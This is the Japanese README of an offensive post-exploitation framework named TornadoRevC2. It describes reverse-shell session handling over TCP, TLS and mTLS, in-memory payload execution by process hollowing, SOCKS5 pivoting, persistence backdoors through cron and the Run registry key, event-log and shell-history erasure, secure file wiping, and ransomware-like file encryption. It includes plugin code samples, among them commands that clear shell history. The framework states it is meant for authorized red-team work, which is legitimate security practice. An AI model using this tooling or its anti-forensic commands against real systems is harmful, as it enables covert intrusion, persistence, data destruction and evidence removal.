TCP/TLS/mTLS経由のリバースシェルセッションを管理するモジュラー型ポストエクスプロイテーションフレームワーク。列挙、インメモリ実行、SOCKS5ピボット、永続化のためのプラグインを備える。
認可されたセキュリティ研究、レッドチーム運用、およびペネトレーションテストのための、軽量でモジュール式のポストエクスプロイテーションフレームワーク。TornadoRevC2 は、Linux および Windows ホスト上のリバースシェルセッションを統合されたオペレーターコンソールを通じて管理し、ホストの列挙、状況認識、および運用タスクのためのクロスプラットフォームプラグインアーキテクチャでコアセッション処理を拡張します。
重要: TornadoRevC2 はセッションハンドラーおよびポストエクスプロイテーションフレームワークであり、ビーコンスタイルのコマンドアンドコントロールプラットフォームではありません。永続的なエージェントインフラストラクチャよりも、信頼性の高いインタラクティブシェル、構造化されたオペレーターワークフロー、およびオンデマンドのプラグイン実行を優先します。
このソフトウェアは、あなたが所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。適用法および組織のポリシーへの準拠については、あなたが単独で責任を負います。作者および貢献者は、本プロジェクトの使用から生じる誤用、データ損失、または法的結果について一切の責任を負いません。
クイックデモ: セッション管理、プラグイン実行、SOCKS5 ピボット。
TornadoRevC2 は、プレーン TCP、サーバー認証 TLS、およびクライアント証明書検証を伴う相互 TLS (mTLS) を介したインバウンド接続を受け入れる、モジュール式のリバースシェル管理フレームワークです。セッション管理、ホスト偵察、チャンク化ファイル転送、インメモリペイロード実行、SOCKS5 ピボット、プラグイン駆動のポストエクスプロイテーション、構造化レポート、および自動 Git ベースの更新とシームレスなハンドラー再起動のための組み込み update コマンドのための統合オペレーターコンソールを提供します。もともとは軽量なリバースシェルハンドラーとして開発されましたが、本プロジェクトは拡張可能なフレームワークへと進化し、ファイアウォール列挙、クレデンシャルストアのメタデータ収集、ネットワークマッピング、ブラウザプロファイリング、およびその他のポストエクスプロイテーション機能が独立したモジュール式プラグインとして実装されています。本フレームワークには、オペレーター側からコマンドラインツールを使用してリモートプロトコル (SSH、WinRM、SMB、RDP、WMI、MSSQL) 経由で新しい C2 セッションを確立するための make_token プラグインも含まれており、カスタムポート、NTLM ハッシュ認証、および netexec 統合をサポートします。また、ハンドラーのクライアント証明書バンドルをターゲットにプッシュすることで、ライブセッションを相互 TLS リスナーへ移行する upgrade_mtls プラグインも含まれています。
サポートされるターゲットプラットフォーム: Linux および Windows (主要)、該当する場合は汎用 Unix および BSD 環境との互換性。
| カテゴリ | 機能 |
|---|---|
| セッション処理 | 自動 PKI ブートストラップを伴うマルチクライアント TCP / TLS / mTLS リスナー · ライブセッションのオンデマンド mTLS アップグレード · インタラクティブ PTY/TTY シェル · セッションフィンガープリンティングと再接続追跡 |
| ファイル転送 | チャンク化アップロードとダウンロード · SHA-256 整合性検証 |
| ペイロード実行 | py、ps、exe、elf、bat、sh のインメモリ実行 |
| ピボットとトンネリング | 自動リモートクリーンアップを伴う、侵害されたセッション経由の SOCKS5 プロキシ · バックグラウンド永続化を伴う Ligolo-NG および Chisel エージェントの展開 |
| リモートセッション確立 | make_token — オペレーター側から SSH、WinRM、SMB、RDP、WMI、MSSQL 経由で新しいセッションを確立、NTLM ハッシュ認証と netexec 統合をサポート |
| なりすまし | runas — 別のユーザーとしてコマンドを実行、または TLS 暗号化シェルを生成、ローカルまたはリモート、ドメインサポートと netexec 統合付き |
| 列挙 | ホストトリアージ、ネットワーク態勢、クレデンシャルとブラウザメタデータ、Kerberos チケット、Linux 内部、および Windows ドメインとシステム構成をカバー |
| 運用プラグイン | マルチパスの安全なファイルワイプ · ハイブリッドファイル暗号化 · シェル履歴の消去 · Windows イベントログの消去 |
| 永続化 | TLS 暗号化ペイロードを使用したクロスプラットフォームバックドアインストール — Linux/Unix では cron @reboot、Windows では Run レジストリ |
| 拡張性 | 実行時のプラグイン読み込み、再読み込み、アンロード · TORNADOREVC2_PLUGIN_DIR による外部プラグイン · 文書化された SessionContext API |
| レポート | セッションごとのログ · 構造化プラグイン出力 · HTML トランスクリプトのエクスポート |
| 自己更新 | リポジトリ検証、fast-forward プル、および自動ハンドラー再起動を伴う Git ベースの update コマンド · フォークフレンドリー、分岐検出と安全なリセットプロンプト付き |
サポートされないもの: タスクスケジューリング、またはビーコンスタイルのコールバックインフラストラクチャ。
TornadoRevC2 は、デプロイの摩擦と運用フットプリントが重要となる環境向けに設計されています。
プラグインは、ターゲットホストにすでに存在するネイティブの Windows および Linux ユーティリティと組み込みシステムコマンド—netsh、ss、iptables、ufw、firewall-cmd、nft、PowerShell コマンドレット、nmcli、wevtutil など—を活用します。コレクターはリバースシェルチャネルを通じてこれらのツールを呼び出し、出力をリモートで解析するため、追加のバイナリをアップロードしたり依存関係をインストールしたりする必要性を最小限に抑えます。
プラグイン操作は既存のリバースシェルチャネルを通じて実行され、バイナリ、実行ファイル、スクリプト、または一時ファイルをターゲットシステムにドロップする必要はありません。 列挙タスクはネイティブコマンドまたはインプロセスコレクタースクリプトとして実行され、結果はマーク付き JSON としてシェル経由で返されます。唯一避けられないアーティファクトは、シェル自体によって生成される通常のコマンド履歴です。
列挙ルーチンが失敗した場合、利用できない場合、またはタイムアウトした場合でも、プラグインは完全には中止されません。影響を受けたセクションは空のままか N/A とマークされ、レポートの残りの部分は継続されます。
ハンドラーの更新は、オペレーターマシン上の Git を通じて配信されます。update コマンドは、制限付きのサブプロセスタイムアウト、非対話型 Git 設定、および高速なローカルシャットダウンパスを使用するため、リモートセッションのクリーンアップでブロックされることなく、ハンドラーが確実に再起動できます。
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### リスナー設定
TornadoRevC2 は**3つの独立したリスナーを同時に**実行するため、インプラントはエンゲージメントの脅威モデルに応じて、平文、サーバー認証 TLS、または相互認証 TLS で接続できます:
| リスナー | デフォルトポート | フラグ | 認証 | 証明書 |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | なし | なし |
| TLS | `8443` | `-tp` | サーバー認証 | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | 相互 (クライアント証明書必須) | `mtls_certs/` バンドル (CA + サーバー + クライアント) |
`-H` フラグは3つのリスナーすべてで共有されるバインドアドレスを設定します。3つすべてを同時に有効化できます。現時点で1つを無効化する必要はありません — 無視するにはポートを空けるかバインドしないままにします。
**自動証明書生成。** 初回起動時に、ハンドラーは2つの分離されたディレクトリを作成し、必要なマテリアルをブートストラップします:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**共有プラグイン**(`firewall`、`ports`、`browser`、`credstore` など)は `shared/` 内に単一の統合モジュールとして存在します。`rdp` や `eventlogdel` などの**プラットフォーム固有のプラグイン**は `windows/` または `linux/` の下にのみ存在し、`shared/` には複製されません。
コレクターはマーカートークン(`__T_PLUGIN_START__` / `__T_PLUGIN_END__`)でラップされた JSON を出力します。共有ランナーはこの出力を解析し、オペレーター向けのレポートをフォーマットし、セッションログディレクトリに結果を保存します。
---
## 要件とインストール
**ハンドラー(オペレーター側マシン):**
- Python 3.7 以降
- OpenSSL(自動 TLS および mTLS 証明書生成用)
- Git(オプション、`update` オペレーターコマンドに必要)
- サードパーティの Python パッケージは不要```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. セッションの確立
組み込みカタログ(`payloads`)からリバースシェルをデプロイするか、独自のインプラントを使用します。接続時に、TornadoRevC2 はセッション ID を割り当て、`logs/` 配下へのログ記録を開始します。
### 3. 操作```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
switch <ID> でアタッチした場合、以降のコマンドではセッション ID を省略します(run quickenum 1 ではなく run quickenum)。クライアントセッション内でのプラグイン一覧表示と TAB 補完は、そのセッションのプラットフォームと互換性のあるプラグインに絞り込まれます。
update コマンドはメインハンドラのプロンプトからのみ利用できます。Git がインストールされていることを確認し、インストールが Git ワーキングツリーであることを検証し、設定されたリモートからフェッチし、更新が存在する場合は fast-forward プルを実行し、同じ実行ファイルと引数でハンドラを再起動します。インストールが既に最新の場合、TornadoRevC2 is already running the latest version. と表示し、サーバーは稼働したままにします。
| コマンド | 説明 |
|---|---|
status / ls | アクティブなリバースシェルセッションを一覧表示 |
sessions | 切断されたホストを含む、追跡中のセッションを表示 |
reconnects | セッションの再接続履歴を表示 |
switch <ID> | 対話型セッションシェルにアタッチ |
kill <ID> | セッションを終了 |
rename <ID> <name> / rn <ID> <name> | わかりやすい名前を割り当て |
sysinfo <ID> [--stealth|--full] | ホスト情報を収集または更新 |
export <ID> | HTML セッショントランスクリプトをエクスポート |
| コマンド | 説明 |
|---|---|
plugins / plugins list | 登録済みプラグインを一覧表示 |
plugins list --verbose | モジュールパスとロード状態を表示 |
plugins load <name> | 実行時に外部プラグインをロード |
plugins unload <name> | プラグインを無効化またはアンロード |
plugins reload <name> | プラグインモジュールを再ロード |
plugins info <name> | プラグインメタデータを表示 |
run <plugin> <ID> [args...] | セッションに対してプラグインを実行 |
| コマンド | 説明 |
|---|---|
upload [--resume] <ID> <local> <remote> | チャンク転送でアップロード |
download [--resume] <ID> <remote> <local> | チャンク転送でダウンロード |
verify <ID> <remote> / hash <ID> <remote> | リモートファイルのサイズと SHA-256 を検証 |
| コマンド | 説明 |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | ペイロードをメモリ内で実行 |
対応タイプ: py、ps、exe、elf、bat、sh
| コマンド | セッション内形式 | 説明 |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | セッション経由で SOCKS5 プロキシを開始(127.0.0.1:<listen_port> でローカルリスナー) |
socks <ID> test <host> <port> | socks test <host> <port> | トンネルエージェント経由で内部ホストへの TCP 到達性をテスト |
socks <ID> reset | socks reset | トンネルエージェントのストリームをリセットし、バッファリングされたデータを破棄(アクティブな SOCKS リスナーは停止しない) |
socks stop <proxy_id> | socks stop <proxy_id> | SOCKS プロキシを停止し、他のプロキシがそのセッションを使用していない場合はリモートトンネルアーティファクトをクリーンアップ |
tunnels | tunnels | アクティブな SOCKS プロキシ、チャネル数、ステータスを一覧表示 |
| コマンド | 説明 |
|---|---|
payloads | 組み込みペイロードリファレンスを表示 |
update | 公式 GitHub リポジトリの更新を確認し、fast-forward プル成功後に再起動(Git が必要、メインメニューのみ) |
help | コマンドリファレンスを表示 |
exit / quit | ハンドラをシャットダウン |
TornadoRevC2 には機能別に整理された 51 個の組み込みプラグイン が同梱されています。特に断りのない限り、列挙関連のプラグインはすべて読み取り専用です。
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
quickenum | クロスプラットフォーム | 高速で構造化されたホストトリアージ: アイデンティティ、ネットワーク、環境、優先度付きの検出事項 |
virtualization | クロスプラットフォーム | 仮想化、コンテナ、オーケストレーション、クラウド環境の検出 |
kernel | クロスプラットフォーム | カーネルバージョン、ロード済みモジュール/ドライバ、セキュリティ緩和策、カーネル設定 |
integrity | クロスプラットフォーム | Secure Boot、BitLocker/LUKS、コード署名の強制、カーネルロックダウン、整合性保護 |
filesearch | クロスプラットフォーム | パス、名前、拡張子、サイズ、所有者、mtime でファイルを検索(オプションは run filesearch help) |
packages | クロスプラットフォーム | インストール済みソフトウェア、パッケージマネージャ、リポジトリ設定、最近のインストール |
sysinfo | クロスプラットフォーム | ホストメタデータ収集(ハンドラコマンドであり、プラグインではない) |
kerberosenum | クロスプラットフォーム | Kerberos チケットメタデータ: キャッシュ、デフォルトプリンシパル、レルム、TGT、サービスチケット、暗号化タイプ、フラグ(renewable/forwardable)、keytab ファイル、krb5.conf/レジストリ設定、環境変数(シークレットなし) |
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
firewall | クロスプラットフォーム | ファイアウォールのステータス、プロファイル/ゾーン、ポリシー、注目すべきルール(WDF、UFW、firewalld、nftables、iptables) |
ports | クロスプラットフォーム | リッスンポート、確立された接続、所有プロセス、ルーティング |
proxy | クロスプラットフォーム | システム、環境、PAC/WPAD、ブラウザのプロキシ設定 |
vpn | クロスプラットフォーム | VPN クライアント、アクティブな接続、アダプタ、設定メタデータ |
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
credstore | クロスプラットフォーム | 認証情報ストアのメタデータ(シークレット抽出なし): Credential Manager、キーリング、ブラウザストア |
browser | クロスプラットフォーム | インストール済みブラウザ、プロファイル、拡張機能、ブックマーク、エンタープライズポリシー |
clipboard | クロスプラットフォーム | リモートクリップボードのテキストキャプチャ |
secrets | Linux/Unix | 設定ファイル、環境変数、SSH キー、クラウド認証情報 |
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
history | クロスプラットフォーム | シェル履歴、パッケージ/更新ログ、最近のログインアクティビティ |
mounts | クロスプラットフォーム | マウントポイント、SMB/NFS 共有、マップ済みドライブ、コンテナファイルシステム |
memorymap | クロスプラットフォーム | 指定した PID のプロセスメモリマップとロード済みモジュール |
screenshot | クロスプラットフォーム | オペレーターに返されるデスクトップキャプチャ(GUI セッション、PNG はローカルに保存) |
cron | Linux/Unix | Cron ジョブ、システム crontab、ユーザー crontab、at キュー |
systemd | Linux/Unix | サービス、タイマー、失敗したユニット、有効化された起動ユニット |
privbins | Linux/Unix | SUID/SGID バイナリ、ファイルケイパビリティ、権限昇格に関連する実行ファイル |
lsm | Linux/Unix | SELinux、AppArmor、その他の Linux Security Modules: 強制モード、ポリシー、設定 |
journal | Linux/Unix | 構造化された journalctl サマリー: 認証、カーネル、サービス障害、最近のイベント |
sshaudit | Linux/Unix | SSH サーバー列挙: 有効な sshd 設定、認証面、ピボットオプション、ホストキー、authorized_keys、CA トラスト |
containers | Linux/Unix | コンテナランタイムとワークロード: Docker、Podman、containerd、CRI-O、LXC/LXD、Kubernetes の指標 |
usersessions | クロスプラットフォーム | アクティブなローカル、リモート、SSH、RDP、コンソール、サービスセッションとログイン/ソースメタデータ |
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
adinfo | Windows | ドメインメンバーシップ、ドメインコントローラ、フォレスト、トラスト、OU |
services | Windows | Windows サービス、スタートアップの種類、バイナリ、サービスアカウント |
scheduledtasks | Windows | スケジュールされたタスク、トリガー、実行コンテキスト、アクション |
registry | Windows | 自動実行キー、スタートアップの場所、インストール済みソフトウェア |
eventlogs | Windows | Security、System、Application、PowerShell ログのサマリー |
defender | Windows | Microsoft Defender のステータス、除外設定、ASR ルール、サードパーティ AV |
certificates | Windows | 証明書ストア、コード署名、エンタープライズ証明書 |
rdp | Windows | リモートデスクトップの設定、ステータス、最近の接続先、設定 |
gpo | Windows | 適用された GPO、ローカル/ドメインセキュリティポリシー、AppLocker、WDAC、SRP、GPO スクリプト |
winrm | Windows | WinRM 設定、リスナー、認証方法、ファイアウォール統合、リモーティングステータス |
drivers | Windows | インストール済みドライバとカーネルモジュール、署名済み/未署名のステータス、スタートアップの種類、注目すべきセキュリティ/VM ドライバ |
powershell | Windows | PowerShell バージョン、実行ポリシー、ログ、モジュール、リモーティング設定、プロファイルパス |
lsa | Windows | LSA 保護、Credential Guard、仮想化ベースのセキュリティ、認証情報セキュリティ設定 |
| プラグイン | プラットフォーム | 説明 |
|---|---|---|
inmemory | クロスプラットフォーム | インメモリペイロード実行(py、ps、exe、elf、bat、sh) |
make_token | クロスプラットフォーム | オペレーター側の CLI ツールを使用してリモートプロトコル(SSH、WinRM、SMB、RDP、WMI、MSSQL)経由で C2 セッションを確立。カスタムポート、NTLM ハッシュ、netexec 統合をサポート |
nullcrypt | クロスプラットフォーム | ファイルをハイブリッド暗号化(AES-GCM + RSA ラップキー)し、その後 wiper で元のファイルを安全に消去 |
wiper | クロスプラットフォーム | 設定可能なマルチパス安全上書き(リネーム、切り詰め、削除)。プロファイル: quick、standard、dod、thorough、shred |
historydel | クロスプラットフォーム | 現在のユーザーのシェル履歴ファイルと関連ストレージを消去 |
eventlogdel | Windows | ネイティブの wevtutil / Clear-EventLog で Windows イベントログを消去 |
runas | Windows | 別のユーザーとしてコマンドを実行、または TLS 暗号化リバースシェルを起動(ローカル/リモート)。認証情報管理、ドメインサポート、netexec 統合を備える |
ligolong | クロスプラットフォーム | Ligolo-NG トンネリングエージェントを Linux/Windows ターゲットにバックグラウンド永続化付きでデプロイ |
chisel | クロスプラットフォーム | Chisel トンネリングエージェントをリバース(クライアント)またはバインド(サーバー)モードでデプロイ。SOCKS5 とバックグラウンド永続化をサポート |
persistence | クロスプラットフォーム | TLS 暗号化ペイロードを使用して永続的なリバースシェルバックドア(cron @reboot / Run レジストリ)をインストール |
upgrade_mtls | クロスプラットフォーム | ハンドラの mTLS クライアントバンドルをセッションにプッシュし、mTLS リスナー経由で再起動(オプトイン、他のリスナーには影響しない) |
インメモリ実行方法:
| タイプ | 方法 |
|---|---|
py | exec(compile(...)) による Python |
ps | Invoke-Expression による PowerShell |
exe | インメモリ RunPE(プロセスホロウイング)による Windows PE |
elf | /dev/shm フォールバック付き memfd_create による Linux ELF |
sh | bash -s 経由でストリーミングされるシェルスクリプト |
bat | cmd.exe /Q の stdin 経由でストリーミングされるバッチスクリプト |
インメモリ privesccheck 用の PEASS-ng スクリプト: github.com/carlospolop/PEASS-ng
このセクションでは、カスタムプラグインで TornadoRevC2 を拡張する方法を説明します。プラグインは @plugin.command でコマンドを登録し、ターゲットセッション用の SessionContext を受け取る、プレーンな Python モジュールです。コアハンドラコードの変更は不要です。
プラグインシステムには 4 つの層があります:
| 層 | モジュール | 役割 |
|---|---|---|
| 登録 | plugins/api.py | @plugin.command デコレータ、グローバルコマンドレジストリ、SessionContext |
| 検出 | plugins/loader.py | shared/、linux/、windows/、外部ディレクトリをスキャンし、モジュールをインポート |
| 実行 | plugins/manager.py | プラットフォームを解決し、コンテキストを構築し、ハンドラを呼び出し、エラーを処理 |
| コレクター | plugins/shared/runner.py | マーカー解析、JSON 抽出、レポート整形、ログ記録 |
インポート時に、@plugin.command デコレータが各ハンドラをスレッドセーフなグローバルレジストリに登録します。実行時に、PluginManager.run_plugin() がプラットフォーム互換性を検証し、SessionContext を構築し、(session, args) でハンドラを呼び出します。
ハンドラは整数の終了コードを返します: 成功時は 0、失敗時は非ゼロ。ハンドラコンソールは非ゼロの戻り値に対して警告を表示します。
プラットフォームのスコープと、プラグインがプロジェクトに同梱されるかどうかに基づいて場所を選択します:
| 場所 | スコープ | ロード |
|---|---|---|
tornadorevc2/plugins/shared/ | クロスプラットフォーム(内部の Windows + Linux 実装) | 起動時に自動 |
tornadorevc2/plugins/linux/ | Linux/Unix のみ | 起動時に自動 |
tornadorevc2/plugins/windows/ | Windows のみ | 起動時に自動 |
./plugins/myplugin.py | 外部(任意のスコープを定義可能) | plugins load でオンデマンド |
./plugins/myplugin/__init__.py | 外部パッケージ | plugins load でオンデマンド |
TORNADOREVC2_PLUGIN_DIR 内のパス | 外部(カスタムディレクトリ) | plugins load でオンデマンド |
レイアウトルール:
shared/ 配下の common.py、runner.py、__init__.py という名前のファイルは検出時にスキップされます。linux/ または windows/ 配下の _ で始まるファイルはヘルパーモジュールであり、プラグインではありません。shared/ 内の単一モジュールでなければなりません。クロスプラットフォームプラグインを shared/ と linux//windows/ の両方に複製しないでください。rdp、eventlogdel)は、windows/ または linux/ のいずれかにのみ配置します。@plugin.command デコレータでコマンドを登録します:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**プラットフォーム値:** `linux`、`windows`、`unix`。Linux と `unix` は互換として扱われます — `linux` に登録されたプラグインは両方で実行されます。省略時のデフォルト: `["linux", "windows", "unix"]`。
**モジュールごとの複数コマンド:** 単一のファイルで、複数の関数に `@plugin.command` を適用することで複数のコマンドを登録できます。それぞれが独立した名前を持ちます。
### 実行ライフサイクル
オペレーターが `run myplugin 1 arg1 arg2` を実行すると:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
アタッチされたセッション内(switch <ID>)では、セッションIDは省略され、引数はプラグイン名の直後から始まります: run myplugin arg1 arg2。
構造化されたJSON解析を必要とせず、手早く単発のコマンドを実行したい場合に使用します。ハンドラーはネイティブのシェルコマンドを実行し、出力を表示し、結果をログに記録します。```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**使用する場面:** 単純なプローブ、ワンライナー列挙、構造化レポートを必要としないコマンド。
**主要メソッド:** `session.run_shell(cmd, timeout)`、`session.print(text, color)`、`session.log_plugin_result(name, report, detail='')`。
### パターン2: 構造化コレクター(推奨)
ターゲット上で構造化データを収集し、整形されたレポートを返す列挙プラグインに使用します。これはすべての組み込み偵察プラグイン(`firewall`、`ports`、`browser` など)で使用されているパターンです。
**フロー:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
最小限のクロスプラットフォーム例:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**`run_collector_plugin` パラメータ:**
| パラメータ | 型 | 説明 |
|-----------|------|-------------|
| `session` | `SessionContext` | 対象セッション |
| `plugin_name` | `str` | ログおよびエラーメッセージで使用される名前 |
| `unix_builder` | `Callable[[], str]` または `None` | Unix/Linux シェルコマンドを返す。利用不可の場合は `None` |
| `win_builder` | `Callable[[], str]` または `None` | PowerShell スクリプトを返す。利用不可の場合は `None` |
| `formatter` | `Callable[[dict], str]` | パースされた JSON dict をレポート文字列に変換する |
| `timeout` | `float` | マークされた出力を待機する最大秒数(デフォルト 30) |
プラットフォームビルダーに `None` を渡すと、その OS でプラグインが利用不可としてマークされます([プラットフォーム固有のプラグイン](#platform-specific-plugins)を参照)。
外部プラグインを保存した後:```bash
plugins load processes
plugins info processes
run processes 1
引数の検証、動的なコレクター構築、コレクター後の処理、または run_collector_plugin だけではカバーできないオペレーター側のファイル処理が必要な場合に使用します。
コードベース内の例:
| プラグイン | カスタム動作 |
|---|---|
memorymap | PID 引数が必要。埋め込まれた PID でコレクターを動的に構築 |
wiper | リモートパスが必要。確認出力を伴う破壊的操作 |
screenshot | base64 画像をデコードし、オペレーターマシン上に PNG としてローカル保存 |
historydel | コレクターを実行後、インメモリ履歴クリーンアップのためのフォローアップシェルコマンドを送信 |
clipboard | ハードな error ではなく reason フィールドによるカスタムのソフトフェイル処理 |
引数検証の例 (memorymap より):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**収集後処理の例**(`historydel` より):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
フルコレクタラッパーなしでマーク付き実行に直接アクセスするには、plugins/shared/runner.py の _run_collector_marked と parse_collector_json を使用します。
Linuxコレクタは、build_linux_collector_command() を介してターゲット上で実行されるPythonソース文字列です。
構造:
r'''...''')を返す _linux_collector_source() を定義します。result 辞書を構築するコレクタロジックを記述します。_emit(result) を呼び出します — マーカーを手動で出力しないでください。_build_linux_command() → build_linux_collector_command(source) でラップします。linux/_helpers.py のラッパーは自動的に以下を行います:
try/except ブロック内でソースをインデントする__T_PLUGIN_START__ + JSON + __T_PLUGIN_END__ を書き込む _emit(obj) を定義する{"error": "...", "traceback": "..."} を出力するpython3 -c(または python2 フォールバック)によるインライン実行用にスクリプトをエンコードする/tmp ステージングにフォールバックするネイティブコマンドを優先する:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**ガイドライン:**
- すべての外部コマンドには `subprocess.check_output(..., timeout=N)` を使用する。
- 出力前に大きなリストを切り詰める(最大50~80エントリ)。
- 存在しないツールは適切に処理する—例外を発生させるのではなく、セクションを空のままにする。
- 出力にマーカー文字列を埋め込まないこと。`history` プラグインはこの理由から、収集されたテキストから `__T_PLUGIN_*__` を除去する。
- コレクターはコンパクトに保ち、インラインサイズ制限内に収め、`/tmp` ステージングを避ける。
### Windows コレクター
Windows コレクターは `_build_windows_command()` から返される PowerShell スクリプト文字列である。
**構造:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
